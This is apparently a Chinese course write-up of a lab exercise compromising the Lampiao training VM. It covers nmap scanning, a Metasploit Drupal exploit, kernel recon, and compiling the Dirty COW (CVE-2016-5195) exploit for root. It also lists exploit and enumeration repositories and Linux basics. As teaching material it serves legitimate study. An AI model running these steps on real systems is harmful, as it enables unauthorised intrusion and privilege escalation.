1. 课上提权案例复现
1.1 扫描内网存活主机
1. 通过"ip a"命令,查看IP地址。
2. 通过nmap工具,扫描同一内网下存活的主机。
nmap 192.168.62.0/24 # 找到可疑的IP(存在一些开放端口的主机)
1.2 信息收集
1. 发现可疑的IP,在浏览器中访问看一下,发现是一个静态网页。
2. 使用nmap对刚刚得到的可疑IP进行全端口扫描。
nmap -T4 -p 1-65535 192.168.62.136
发现一个可疑端口:1898,再次尝试浏览器访问,成功找到了Lampiao的登陆后台页面。
ps:可以试一下弱口令,不过大概率不会成功。
3. 使用Wappalyzer插件分析网页,得到了网页的信息。
1.3 尝试攻击
1. 使用msf搜索目标后台(内容管理系统)Drupal
的漏洞
msfconsole # 进入msf
search drupal # 搜索目标cms
use 1 # 选择1号模块使用
2. 配置options信息,直接run。
options # 显示需要的配置
# 进行相应配置
set rhost192.168.159.143 # 配置为目标机器ip
set rport 1898 # 配置为目标机器开放此服务(drupal)的端口
run # 开始攻击
3. 也是直接成功得到了session,查看一下当前用户的权限和内核的版本信息等。
getuid # 获取当前用户信息
# 搜集内核信息的一些命令
uname -a
lsb_release -a
cat /proc/version
cat /etc/os-release
可以看到,用户是www-data,系统为14.04.1-Ubuntu,要进行提权变为root用户。
1.4 开始提权
1. 上传提权的扫描脚本,授权后运行脚本。
2. 执行脚本后,得到了虚拟机的信息
3. 脚本扫描出了很多漏洞,这里选择CVE-2016-5195。
4. 根据扫描出来的CVE去找对应的EXP。
项目地址:https://github.com/gbonacini/CVE-2016-5195
ps:这里选择253-261,比较稳定。
因为没有release,所以只能下载后自己进行编译了。
5. 将刚刚的zip进行上传
ps:最好在上传之后再进行编译,不要编译好后再上传,防止因为环境兼容性的原因导致失败。
6. 编译成功后运行,成功得到了root的密码。
7. 要进行root登陆时,提示需要在命令行中执行。通过python打开命令行,成功提权。
ps:python启动命令行的指令还是比较有用的,主要是平常用不到,用到的时候就容易蒙。
2. Linux内核提权利用步骤(从内网信息收集到提权成功的思路)
2.1 Linux提权
linux提权和windows一样,也分为内核漏洞提权,数据库类提权,错误配置提权。内核提权是当前linux主流提权方式。在windows中主流的内核提权是土豆家族,同样的在linux中也有主流的提权家族漏洞——脏牛家族。
脏牛漏洞是一种利用linux内核中写时复制机制的竞态条件漏洞。在linux系统中,为了提高内存使用效率,多个进程可以共享相同的物理内存页面。当其中一个进程尝试修改该页面时,系统会复制该页面的一个副本给修改进程,以保证其他进程的数据不被破坏。然而,脏牛漏洞通过特定的操作序列,使得这种机制在并发环境下出现竞态条件,从而允许低权限用户修改原本只读的内存映射,进而可能实现提权。
2.2 Linux提权开源项目
# 针对提权的扫描脚本
https://github.com/the-Z-labs/linux-exploit-suggester # shell脚本
https://github.com/belane/linux-soft-exploit-suggester # python开发
https://github.com/liamg/traitor # go语言开发,可能需要先编译
https://github.com/jondonas/linux-exploit-suggester-2 # Perl语言开发
# 扫描提权一体化的扫描脚本
https://github.com/carlospolop/PEASS-ng # 有多种编译方案
https://github.com/diego-treitos/linux-smart-enumeratio # shell脚本
https://github.com/redcode-labs/Bashark # shell脚本
https://github.com/rebootuser/LinEnum #shell脚本
2.3 Linux内核提权步骤
2.3.1 内网信息收集
- 使用nmap扫描内网存活主机,确定攻击目标。
- 使用nmap或fscan等扫描工具收集目标系统信息,包括操作系统版本、内核版本、运行的服务、开放的端口、已安装的软件等。
2.3.2 寻找已知漏洞
- 根据收集到的信息,如若开放80或443端口可使用浏览器插件识别网站架构等信息,搜索已知的漏洞数据库,如阿里云漏洞库等。
- 使用工具如MSF中的search指令来查找与目标系统相关的已知漏洞。
2.3.3 本地漏洞利用
- 如果发现可利用的漏洞,尝试使用现有的EXP(漏洞利用代码)进行攻击。
# EXP获取方式
https://github.com/Ascotbe/Kernelhub
http://kernelhub.ascotbe.com/Windows/Docs/#/
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/nomi-sec/PoC-in-GitHub
https://gitlab.com/exploit-database/exploitdb
- 使用工具如Metasploit框架来尝试利用已知漏洞。
2.3.4 内核漏洞利用
# 针对提权的扫描脚本
https://github.com/the-Z-labs/linux-exploit-suggester # shell脚本
https://github.com/belane/linux-soft-exploit-suggester # python开发
https://github.com/liamg/traitor # go语言开发,可能需要先编译
https://github.com/jondonas/linux-exploit-suggester-2 # Perl语言开发
# 扫描提权一体化的扫描脚本
https://github.com/carlospolop/PEASS-ng # 有多种编译方案
https://github.com/diego-treitos/linux-smart-enumeratio # shell脚本
https://github.com/redcode-labs/Bashark # shell脚本
https://github.com/rebootuser/LinEnum #shell脚本
2.3.5 提权脚本和工具
使用自动化提权工具,如Linux提权常用工具脏牛家族。
脏牛提权 dirty.c:[VulnHub靶机渗透] 常用的linux提权方法——脏牛提权 dirty.c_漏洞复现之linux脏牛提权漏洞(vulnhub靶场)-CSDN博客
2.3.6 验证提权结果
在命令行中输入指令,查看是否提权成功。如果输出显示当前用户为 root
,则表明提权成功。
id
whoami
3. Linux基础知识
3.1 Linux用户/用户组
3.1.1 Linux用户分类
- 超级用户:用户名为root,它具有一切权限,只有进行系统维护(例如:建立用户等)或其他必要情形下才用超级用户登录,以避免系统出现安全问题。
- 系统用户:是Linux系统正常工作所必需的内建的用户。主要是为了满足相应的系统进程对文件属主的要求而建立自为,例如:bin、daemon、adm、lp等用户。系统用户不能用来登录。
- 普通用户:是为了让使用者能够使用Linux系统资源而建立的,我们的大多数用户属于此类。
3.1.2 linux用户组分类
- 基本组(私有组):建立账户时,若没有指定账户所属的组,系统会建立一个和用户名相同的组,这个组就是基本组,基本组只容纳一个用户。当把其他用户加入到该组中,则基本组就变成了附加组。
- 附加组(公有组):可以容纳多个用户,组中的用户都具有组所拥有的权利。
- 系统组:一般加入一些系统用户。
3.1.3 linux中用户和用户组配置文件
/etc/passwd —— 用户账户文件
/etc/shadow ——用户密码文件
/etc/group ——用户组账号文件
/etc/gshadow ——用户组密码文件
3.2 Linux用户管理
# 添加用户
useradd username
# 设置密码
passwd username
# 删除用户
userdel username
# 切换用户
su username
# 用户提权
sudo command # (能不能执行某个操作还是需要以配置文件为准)
3.3 Linux常用基础命令
ls:列出当前目录中的文件和子目录
pwd:显示当前工作目录的路径
cd:切换工作目录
mkdir:创建新目录
rmdir:删除空目录
rm:删除文件或目录
cp:复制文件或目录
mv:移动或重命名文件或目录
touch:创建空文件或更新文件的时间戳
cat:连接和显示文件内容
more/less:逐页显示文本文件内容
head/tail:显示文件的前几行或后几行
grep:在文件中搜索指定文本
这里只罗列了部分,更多参考Linux常用命令(含完整命令语句)参考: